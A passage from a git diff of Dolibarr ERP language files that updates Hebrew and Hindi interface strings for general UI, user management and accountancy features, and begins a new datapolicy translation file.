is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=No translation Translation=Translation +Translations=Translations CurrentTimeZone=אזור PHP (שרת) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Valid Approve=Approve Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=Open Upload=Upload ToLink=קשר Select=Select @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=No user group defined Password=סיסמה -PasswordRetype=Retype your password +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Note that a lot of features/modules are disabled in this demonstration. Name=שם NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=תאור DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Event @@ -344,7 +353,7 @@ KiloBytes=Kilobytes MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Events about this member ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s late ToDo=To do Completed=Completed @@ -517,6 +527,7 @@ or=or Other=אחר Others=Others OtherInformations=Other information +Workflow=Workflow Quantity=Quantity Qty=Qty ChangedBy=Changed by @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Attached files and documents JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Feature disabled MoveBox=Move widget Offered=Offered NotEnoughPermissions=You don't have permission for this action +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Session name Method=Method Receive=Receive @@ -798,6 +811,7 @@ URLPhoto=URL of photo/logo SetLinkToAnotherThirdParty=Link to another third party LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=חוזים SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Rate +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=פנימית המשתמש +ExternalUser=משתמש חיצוני diff --git a/htdocs/langs/he_IL/users.lang b/htdocs/langs/he_IL/users.lang index fad26a57871..381a918094d 100644 --- a/htdocs/langs/he_IL/users.lang +++ b/htdocs/langs/he_IL/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Remove from group PasswordChangedAndSentTo=Password changed and sent to %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Request to change password for %s sent to %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Users & Groups @@ -68,7 +68,6 @@ CreateDolibarrLogin=Create a user CreateDolibarrThirdParty=Create a third party LoginAccountDisableInDolibarr=Account disabled in Dolibarr. UsePersonalValue=Use personal value -InternalUser=פנימית המשתמש ExportDataset_user_1=Users and their properties DomainUser=Domain user %s Reactivate=Reactivate @@ -114,7 +113,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +123,9 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows diff --git a/htdocs/langs/hi_IN/accountancy.lang b/htdocs/langs/hi_IN/accountancy.lang index 13a1024d44e..358d35903bc 100644 --- a/htdocs/langs/hi_IN/accountancy.lang +++ b/htdocs/langs/hi_IN/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=परिवहन लागत वापसी प् ACCOUNTING_EXPORT_PREFIX_SPEC=फ़ाइल नाम के लिए उपसर्ग निर्दिष्ट करें ThisService=यह सेवा ThisProduct=यह उत्पाद -DefaultForService=सेवा के लिए डिफ़ॉल्ट -DefaultForProduct=उत्पाद के लिए डिफ़ॉल्ट +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=सुझाव नहीं दे सकते @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=लेखा क्षेत्र AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -99,7 +101,8 @@ ShowAccountingAccount=Show accounting account ShowAccountingJournal=Show accounting journal ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Accounting account suggested +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Default accounts MenuBankAccounts=Bank accounts MenuVatAccounts=Vat accounts @@ -112,7 +115,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,10 +123,11 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Total expense report @@ -161,41 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +220,8 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +230,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -258,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Group of account PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +290,32 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +331,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +342,15 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -386,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -394,6 +414,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +446,11 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/hi_IN/datapolicy.lang b/htdocs/langs/hi_IN/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/hi_IN/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# 